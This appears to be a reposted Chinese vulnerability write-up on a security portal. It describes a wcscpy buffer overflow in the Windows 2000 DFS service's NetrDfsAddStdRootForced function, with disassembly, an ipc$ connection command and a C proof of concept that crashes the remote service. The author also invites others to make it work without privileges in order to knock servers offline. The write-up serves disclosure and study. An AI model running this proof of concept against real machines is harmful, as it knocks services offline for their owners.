登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

最近发现的一个Distributed File System服务远程溢出问题
发表日期:2006-03-12作者:rootshell[转贴] 出处:安全焦点  

最近发现的一个Distributed File System服务远程溢出问题
date:03/13/2005
author:fzk
qq:1734398
MSN:sysadm@21cn.com
email:sysadm@21cn.com
URL:http://www.ns-one.com


1.前言:
    最近在windows 2000 advanced server下研究Distributed File System服务的时候,在当中一个函数发现一个
溢出,经过测试,发现需要远程通过目标机的管理员组成员和Distributed File System服务建立name pipe,才能发生
溢出,不知道这样的问题,属于不属于安全漏洞呢?

    今天决定发出来给大家共同研究一下,说不定有可能其他高手发现不需要通过目标机的管理员组成员权限来进行
溢出,那这个就算真正的安全问题了,而且危害性肯定也强了,那当然也记得给我发个信通知一下如何实现.:)


2.问题细节:
    这个溢出问题,是发生在Distributed File System服务里面的NetrDfsAddStdRootForced函数在处理第四个参数
上面,这个第四个参数是会作为第五个参数传递给SetupStdDfs的,在这个函数里面调用wcscpy,问题出在这里没有进行
边界检查,导致溢出的代码如下:

NetrDfsAddStdRootForced函数
...............
  .text:0100A2B5                 mov     edi, [ebp+arg_C]
  .text:0100A2B8                 test    edi, edi
  .text:0100A2AF                  jz      loc_100A373
...............
  .text:0100A31F                 push    edi
  .text:0100A320                 push    1
  .text:0100A322                 push    [ebp+arg_8]
  .text:0100A325                 lea     eax, [ebp+var_214]
  .text:0100A32B                 push    [ebp+arg_4]
  .text:0100A32E                 push    eax
  .text:0100A32F                 call    SetupStdDfs
...............
  SetupStdDfs函数
.text:01007FB4                 push    ebp
.text:01007FB5                 mov     ebp, esp
.text:01007FB7                 sub     esp, 658h
.text:01007FBD                 push    ebx
.text:01007FBE                 mov     ebx, ds:wcscpy
.text:01007FC4                 push    esi
.text:01007FC5                 push    edi
.text:01007FC6                 xor     esi, esi
.text:01007FC8                 xor     edi, edi
.text:01007FCA                 cmp     [ebp+arg_10], esi
.text:01007FCD                 jnz     short loc_1007FE2
...............
.text:01007FE2 loc_1007FE2:
.text:01007FE2                 push    [ebp+arg_10]
.text:01007FE5                 lea     eax, [ebp+var_43C]
.text:01007FEB                 push    eax
.text:01007FEC                 call    ebx ; wcscpy

调用流程为:

NetrDfsAddStdRootForced->SetupStdDfs->wcscpy


3.溢出测试方法:

(1).先使用目标机器的管理员组成员建立一个ipc$连接
net use \\目标机器ip\ipc$ 管理员组成员密码 /user:管理员组成员账号

(2).使用如下测试代码测试:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Lm.h>
#include <Lmdfs.h>

#pragma comment(lib, "Netapi32.lib")

int main (void)
{
wchar_t a[]=L"\\\\ip\\"; //把ip替换为你的目标机器ip
wchar_t b[4000];
LPWSTR ServerName=a;
LPWSTR RootShare=L"fzk";
LPWSTR Comment=L"fzk";
LPWSTR Store;
int i;

for (i = 0; i< 2000;i++)
     wcscat(b, L"A");

Store = b;

if( NetDfsAddStdRootForced( ServerName, RootShare, Comment, Store) == NERR_Success)
      return TRUE;

else
     return FALSE;
}

把以上代码存为test.cpp,运行cl test.cpp编译,然后执行test.exe,到这里应该目标机器的
Distributed File System服务已经down掉了

4.附加信息:
在MSDN发现NetDfsAddStdRootForced API在windows 2003已经被弃用了
Distributed File System服务在windows 2000服务器下面是默认开放的
如果有高手能实现不用任何权限来进行溢出,应该可以干掉很多windows 2000的服务器
当然也记得通知我
email:sysadm@21cn.com
qq:1734398
MSN:sysadm@21cn.com

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 最近发现的一个Distributed File System服务远程溢出问题

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00273